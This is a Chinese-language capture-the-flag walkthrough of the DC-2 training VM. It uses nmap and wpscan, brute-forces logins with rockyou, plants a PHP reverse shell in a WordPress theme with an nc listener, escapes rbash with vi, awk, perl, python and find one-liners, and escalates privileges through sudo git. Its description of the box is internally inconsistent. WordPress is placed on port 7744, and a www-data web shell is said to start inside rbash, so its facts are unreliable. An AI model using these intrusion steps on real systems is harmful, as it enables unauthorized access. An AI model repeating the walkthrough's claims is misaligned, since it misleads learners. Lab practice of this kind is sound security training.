1. 项目概述:从“非主流”端口开始的渗透之旅
在渗透测试的实战演练中,我们常常习惯于盯着那些“明星”端口:80、443、22、21、3389……这些端口承载着Web服务、SSH、FTP、远程桌面等主流应用,是信息搜集阶段的首要目标。然而,真正的渗透高手往往具备一种“边缘视角”,他们知道,系统的安全防线最薄弱的地方,有时恰恰是那些被管理员忽视、被自动化扫描工具轻描淡写带过的“非主流”端口。今天要聊的DC-2靶机,就是一个绝佳的案例。它没有在80端口提供花哨的Web登录框,也没有开放22端口让你尝试暴力破解,它的第一个突破口,藏在一个看似不起眼的7744端口上。更妙的是,突破之后,等待你的并非root权限的坦途,而是一个精心设计的“牢笼”——rbash(受限bash)。如何从这看似无解的受限环境中“越狱”,获取更高权限,正是这个靶机演练的核心魅力所在。这个过程不仅考验你对端口服务识别的敏锐度,更深度检验了你对Linux系统底层机制和权限绕过的理解。无论你是正在备考OSCP的学员,还是希望提升实战能力的安服工程师,DC-2靶机中关于7744端口和rbash绕过的这一套“组合拳”,都值得你静下心来,好好琢磨一番。
2. 核心思路拆解:为何是7744与rbash?
在动手之前,我们先花点时间理解一下靶机设计者的“良苦用心”。这能帮助我们在遇到类似场景时,快速形成正确的解题思路,而不是盲目地堆砌工具和命令。
2.1 7744端口:被遗忘的入口
7744端口不是一个标准端口。在Linux系统中,端口号在1024以下的被称为“知名端口”,通常与系统服务绑定。而7744这样的高位端口,通常是自定义应用或某些特定服务临时启用的。在渗透测试信息搜集阶段,使用nmap进行全端口扫描是标准动作。当扫描结果中出现这样一个非常规端口,并且显示为“open”状态时,它就应该立刻进入你的“可疑清单”。
为什么管理员会开放这样一个端口?常见原因有几种:
- 临时测试:开发或运维人员为了测试某个新应用或API而临时启用,事后忘记关闭。
- 内部服务:某个仅供内网访问的管理后台或数据接口,因为配置错误(如绑定到0.0.0.0)而暴露在了公网或测试环境中。
- 老旧或小众应用:一些不常见或版本古老的应用程序使用了非标准端口。
- 刻意隐藏:安全意识较强的管理员可能会将一些服务迁移到非标准端口,意图通过“隐蔽”来增强安全(安全靠隐藏,这通常不是好主意)。
在DC-2靶机中,7744端口属于第二种情况的“教学化”体现:它运行着一个WordPress网站的服务,但这个WordPress并没有被配置在常见的80/443端口。这直接引导我们进入渗透测试中一个关键环节:服务识别。仅仅知道端口开放是不够的,必须弄清楚它上面跑的是什么。
2.2 rbash:精心设计的权限牢笼
假设我们通过7744端口找到了入口并获得了一个初始的shell,比如通过WordPress的漏洞获取了www-data用户的权限。在一般的靶机或真实环境中,你可能会尝试直接进行权限提升。但DC-2在这里设置了一个经典的障碍:rbash(Restricted Bash)。
rbash是Bash shell的一个受限版本。当用户被限制使用rbash时,其行为会受到极大制约,例如:
- 无法使用
cd命令切换目录。 - 无法设置或修改环境变量(如
PATH,SHELL)。 - 无法使用包含斜杠
/的命令(这直接阻止了执行像/bin/bash这样的命令)。 - 无法使用重定向操作符(
>,>>,<,<<)。 - 无法使用
/来指定路径。
这感觉就像把你关进了一个只有基本空气和水的房间,工具都被没收了。管理员通过将用户的默认shell设置为/bin/rbash或/bin/bash -r来实现这种限制。其目的是即使攻击者获得了某个低权限用户的shell,也无法利用这个shell做太多事情,从而遏制横向移动或权限提升。
因此,整个渗透流程的核心思路就清晰了:
- 全面信息搜集:不放过任何一个开放端口,尤其是非标准端口。
- 精准服务探测:对可疑端口进行深度探测,确定其承载的应用、版本、可能存在的漏洞。
- 寻找初始立足点:利用应用漏洞(如WordPress插件漏洞、配置弱点)获取一个初始的、受限的shell。
- rbash环境逃逸:在极度受限的交互环境中,利用系统特性、已安装程序或配置错误,打破rbash的枷锁,获得一个功能完整的shell。
- 权限提升与目标达成:在获得完整shell后,进行系统的信息搜集,寻找内核漏洞、SUID文件、错误的sudo配置等路径,最终提权至root,获取flag。
3. 实战演练:步步为营攻克DC-2
下面,我们进入实战环节。假设靶机IP为192.168.1.100。请确保你的攻击机(如Kali Linux)与靶机在同一网络。
3.1 信息搜集与7744端口发现
第一步永远是信息搜集。我们使用nmap这个瑞士军刀。
# 快速扫描,发现开放端口 nmap -sS -T4 192.168.1.100 # 输出可能类似: # Starting Nmap 7.94SVN ( https://nmap.org ) # Nmap scan report for 192.168.1.100 # Host is up (0.00056s latency). # Not shown: 998 closed tcp ports (reset) # PORT STATE SERVICE # 7744/tcp open unknown # 80/tcp open http看,7744端口出现了,状态是open,但服务被识别为unknown。80端口也开放着。一个标准的Web服务器在80端口,那7744端口这个“unknown”服务就更可疑了。
我们需要对它进行深度扫描,确定服务详情。
# 对7744端口进行服务版本探测和脚本扫描 nmap -sV -sC -p 7744 192.168.1.100 # 或者使用更全面的命令扫描所有端口 nmap -sV -sC -p- 192.168.1.100-sV尝试探测服务版本,-sC运行默认的Nmap脚本进行更深入的发现。
扫描7744端口后,你可能会看到类似这样的输出:
PORT STATE SERVICE VERSION 7744/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian)关键发现:7744端口运行着Apache HTTP Server,是一个Web服务!这立刻将我们的注意力从“未知服务”转移到了“Web应用渗透”上。
3.2 7744端口Web应用渗透
既然是一个Web服务,我们首先用浏览器访问一下:http://192.168.1.100:7744。
不出意外的话,你会看到一个WordPress站点的首页。至此,7744端口的谜底揭晓:它是一个部署在非标准端口上的WordPress网站。
接下来的流程就是标准的WordPress渗透测试路径:
枚举信息:使用
wpscan工具。wpscan --url http://192.168.1.100:7744 --enumerate u,ap,vt,p,t这个命令会枚举用户(
u)、所有插件(ap)、易受攻击的插件(vt)、主题(p)、timthumbs(t)。分析结果:
wpscan可能会发现一些关键信息,例如:- 存在用户
admin,tom,jerry等。 - 存在某个已知漏洞的插件(比如老版本的
akismet或某个不安全的自定义插件)。 - WordPress版本较旧,存在已知漏洞。
- 存在用户
选择攻击向量:
- 密码爆破:如果你枚举到了用户(如admin, tom, jerry),可以尝试对WordPress的登录页面(
/wp-login.php)进行密码爆破。DC-2靶机通常会设置弱密码。你可以使用wpscan的爆破功能或hydra。wpscan --url http://192.168.1.100:7744 -U userlist.txt -P /usr/share/wordlists/rockyou.txt - 插件/主题漏洞利用:如果
wpscan发现了有公开漏洞的插件,可以去搜索对应的Exploit。例如,可能通过某个插件的文件上传功能获取Webshell。 - 其他漏洞:如XML-RPC爆破、REST API未授权访问等。
- 密码爆破:如果你枚举到了用户(如admin, tom, jerry),可以尝试对WordPress的登录页面(
实操心得:在DC-2靶机中,一种常见的设定是,通过密码爆破(使用经典的密码字典,如
rockyou.txt)可以成功登录tom或jerry等用户的WordPress后台。进入后台后,往往可以在“主题编辑器”或“插件编辑器”中修改PHP文件,插入一句话Webshell代码,从而获取反向shell。
获取初始Shell: 假设我们在
theme-editor.php中编辑了404.php模板文件,插入了PHP反向shell代码(例如使用pentestmonkey的经典反向PHP脚本)。我们在攻击机上监听一个端口:nc -lvnp 4444然后通过浏览器访问
http://192.168.1.100:7744/wp-content/themes/[当前主题]/404.php,触发反向连接。成功的话,你会在
nc终端看到一个shell。执行whoami,很可能看到用户是www-data。
3.3 遭遇rbash:第一个“惊喜”
当你欢天喜地地拿到www-data的shell,准备开始探索系统时,第一个打击来了。你尝试一些基本命令:
cd /home ls -la你可能会发现cd命令无效,或者提示cd: restricted。再试试:
/bin/bash可能会提示-rbash: /bin/bash: restricted: cannot specify/' in command names`。
执行echo $SHELL,输出很可能是/bin/rbash。恭喜,你被困在rbash里了。
此时的状态:你有一个交互式的shell,但能力被严重阉割。你甚至无法查看/etc/passwd来了解其他用户(因为命令中可能包含/)。这是渗透测试中一个非常经典的“受限环境突破”场景。
3.4 rbash绕过技巧大全
突破rbash的方法多种多样,核心思路是:利用rbash限制之外的系统功能,启动一个不受限的shell。下面列举几种在DC-2及类似环境中可能生效的方法。
3.4.1 方法一:利用文本编辑器逃逸
这是最经典、最有效的方法之一。很多系统会安装vi、vim、nano、ed、more、less等文本编辑器或查看器。在rbash中,你通常可以执行它们。
使用
vi/vim:vi # 进入vi后,输入以下命令 :set shell=/bin/bash :shell或者更直接:
vim -c '!bash'如果
vi可用,这几乎是百分百成功的逃逸方法。使用
ed:ed # 在ed的提示符下输入 !/bin/bash使用
nano: 虽然nano本身不直接提供shell逃逸,但你可以用它来创建一个脚本文件,然后想办法执行。不过在执行环节可能会遇到限制。
3.4.2 方法二:利用其他命令启动子shell
有些命令在调用时,会启动一个子shell来执行命令,我们可以利用这一点。
使用
awk:awk 'BEGIN {system("/bin/bash")}'使用
perl:perl -e 'exec "/bin/bash";'使用
python:python -c 'import os; os.system("/bin/bash")'或者:
python -c 'import pty; pty.spawn("/bin/bash")'使用
find(如果允许执行):find / -name test -exec /bin/bash \;(这个方法比较暴力,可能会产生大量输出,但有时可行)
3.4.3 方法三:利用环境变量和命令别名
有时,rbash的限制可能不完整,或者用户的环境配置文件(如.bashrc)中设置了某些别名或函数。
查看可用的命令和别名:
alias compgen -c # 列出所有可用的命令看看有没有像
ls、cat这样的命令其实是别名,其背后可能调用了其他不受限的程序。尝试执行绝对路径的程序:rbash通常限制使用
/,但有时对某些特定路径的检查可能有疏漏,或者通过变量拼接可以绕过。可以尝试:echo $PATH # 看看PATH里有哪些目录,然后尝试直接调用其中的程序,比如 sh如果
sh(通常是/bin/sh的链接)在PATH中,直接输入sh可能就能获得一个标准的shell,因为rbash的限制只对bash生效。
3.4.4 方法四:利用SSH强制命令(如果适用)
这是一种特定场景。如果你是通过SSH密钥登录并触发了某个强制命令(command=inauthorized_keys)导致进入rbash,那么可能在~/.ssh/authorized_keys文件中,该强制命令本身有漏洞,或者你可以通过SSH连接参数进行注入。但在DC-2的Webshell场景下,此法不常用。
注意事项:在尝试逃逸时,务必一条命令一条命令地试,并观察错误信息。错误信息是黄金线索。例如,如果提示“command not found”,说明这个程序没安装;如果提示“restricted”,说明rbash的规则阻止了它。同时,注意你的当前用户权限(www-data),有些操作可能需要更高权限。
在DC-2靶机中的实际应用:通常,上述方法中的vi、python或awk其中之一会奏效。成功之后,你会获得一个普通的bash或shshell,此时再执行whoami和id,确认自己仍然是www-data,但已经摆脱了rbash的束缚。记得第一时间升级为一个完全交互式的、更稳定的TTY shell:
python3 -c 'import pty; pty.spawn("/bin/bash")' # 或者 script -qc /bin/bash /dev/null # 然后按 Ctrl+Z 挂起,在攻击机终端输入: stty raw -echo; fg # 最后重置终端: reset export TERM=xterm-256color export SHELL=bash3.5 权限提升与Flag获取
逃出rbash后,你拥有了一个功能完整的www-datashell。接下来就是常规的Linux权限提升环节。
系统信息搜集:
uname -a # 查看内核版本 cat /etc/os-release # 查看发行版信息 sudo -l # **非常重要!** 查看当前用户可以以root身份运行哪些命令 find / -perm -u=s -type f 2>/dev/null # 查找SUID文件 find / -writable 2>/dev/null | grep -v proc # 查找全局可写文件/目录 crontab -l # 查看当前用户的定时任务 ls -la /etc/cron* # 查看系统定时任务 ps aux # 查看进程 netstat -tulpn # 查看网络连接和监听端口分析sudo -l:在DC-2中,这往往是提权的关键。执行
sudo -l后,你可能会发现用户www-data(或者你之后切换到的其他用户)可以以某些用户的身份无需密码运行特定命令。例如:User www-data may run the following commands on dc-2: (jerry) NOPASSWD: /usr/bin/git这意味着你可以以用户
jerry的身份运行git命令,并且不需要密码。利用sudo权限提权:以上面的
git为例,我们可以利用git来提权。sudo -u jerry git help status # 在git的帮助页面中,可以输入`!/bin/bash`来启动一个shell # 或者更直接地使用git的`-p`参数调用pager(如less),然后在pager中逃逸 sudo -u jerry git -p help # 进入less后,输入`!bash`或`!sh`成功的话,你的用户身份将变为
jerry。检查jerry的家目录,通常能找到第一个flag(比如flag1.txt)。切换用户与进一步提权:成为
jerry后,重复信息搜集步骤。再次运行sudo -l,看看jerry有什么特权。可能会发现jerry可以以tom或root的身份运行某些命令。重复利用类似的方法(比如利用vi、less、find等命令的sudo权限),一步步提升权限,最终拿到root权限,找到所有flag。其他提权向量:如果
sudo -l没有收获,就需要检查SUID文件、内核漏洞、错误配置的服务、定时任务等。例如,如果找到一个SUID的bash,可以直接用它提权:/path/to/suid_bash -p。
4. 常见问题与排查技巧实录
在实际操作DC-2或类似环境时,你可能会遇到以下问题:
Q1: nmap扫描不到7744端口?A1: 确保靶机已正确启动并联网。检查防火墙规则,靶机可能只允许特定IP访问。尝试使用-Pn参数跳过主机发现,直接扫描端口:nmap -Pn -p- 192.168.1.100。
Q2: 访问http://IP:7744显示连接被拒绝或超时?A2: 确认Apache服务确实运行在7744端口。可以在靶机(如果你有其他方式访问)上使用netstat -tulpn | grep :7744查看。也可能是服务崩溃了,尝试重启靶机。
Q3: wpscan枚举不出用户或漏洞?A3: 检查网络连通性。尝试增加超时时间:wpscan --url http://IP:7744 --request-timeout 60。目标可能启用了WAF或速率限制,使用--random-user-agent和--throttle参数。确保你的wpscan是最新版本。
Q4: 密码爆破总是失败?A4: 确认用户名正确。DC-2可能使用了非默认用户名。尝试使用更小的、更常见的密码字典先测试。也可以查看网页源代码或使用cewl等工具从网站上爬取单词生成专属字典。
Q5: 获取的反向shell立即断开?A5: 这是Webshell的常见问题。你的反向shell可能不够稳定。务必在获取初始连接后,立即按照前文所述的方法升级为完全交互式的TTY shell(使用python pty或script命令)。这能提供命令历史、作业控制等功能,大大增强稳定性。
Q6: 所有rbash逃逸方法都试了,还是不行?A6: 首先,冷静。逐条检查:
- 输入
echo $PATH,看看有哪些目录。尝试直接调用这些目录下的程序,比如/usr/bin/vi,有时rbash只限制了不带路径的命令。 - 输入
enable命令查看当前bash启用了哪些内置命令,有时enable -n cd可以禁用rbash对cd的限制(但通常rbash环境下不允许此操作)。 - 尝试使用通配符绕过
/限制?例如,如果/bin目录在PATH中,b??h可能匹配到bash。但rbash通常也会限制包含通配符的命令。 - 终极思路:寻找文件上传点,上传一个静态编译的二进制bash(比如从busybox提取),然后执行它。但这需要你有文件写入权限。
Q7: sudo -l 要求输入密码,但我不知道密码?A7:sudo -l命令本身会提示输入当前用户的密码,以验证你是谁。在渗透中,我们通常不知道密码。但注意看输出:如果配置为NOPASSWD:,那么运行该特定命令时就不需要密码。如果所有条目都需要密码,那么这条提权路径暂时走不通,需要寻找其他方法(SUID、内核漏洞等)。
Q8: 利用git提权时,输入!bash没反应?A8: 确保你是在git调用的pager(如less)中输入的!bash,而不是在普通的bash提示符下。当你执行sudo -u user git -p log之类的命令时,输出会进入分页器,此时屏幕左下角会显示:提示符,在这里输入!bash才有效。如果git命令直接退出而没有调用分页器,可以尝试sudo -u user git help -a | less,这一定会调用分页器。
这个从非标准端口发现入口,到突破rbash限制,再到利用sudo权限链进行提权的完整过程,清晰地展示了一次纵深防御体系下的渗透路径。它提醒我们,安全是一个整体,任何一个环节的疏忽——无论是非常规端口的暴露、Web应用的口令弱点、还是系统用户权限的配置不当——都可能成为整个防线崩溃的起点。对于防御者而言,关闭不必要的端口、强化应用安全、遵循最小权限原则、定期审计sudo配置,是抵御此类攻击的必修课。而对于攻击者(在授权测试中),这种“迂回”和“挣脱束缚”的思维,正是将技术能力转化为实战成果的关键。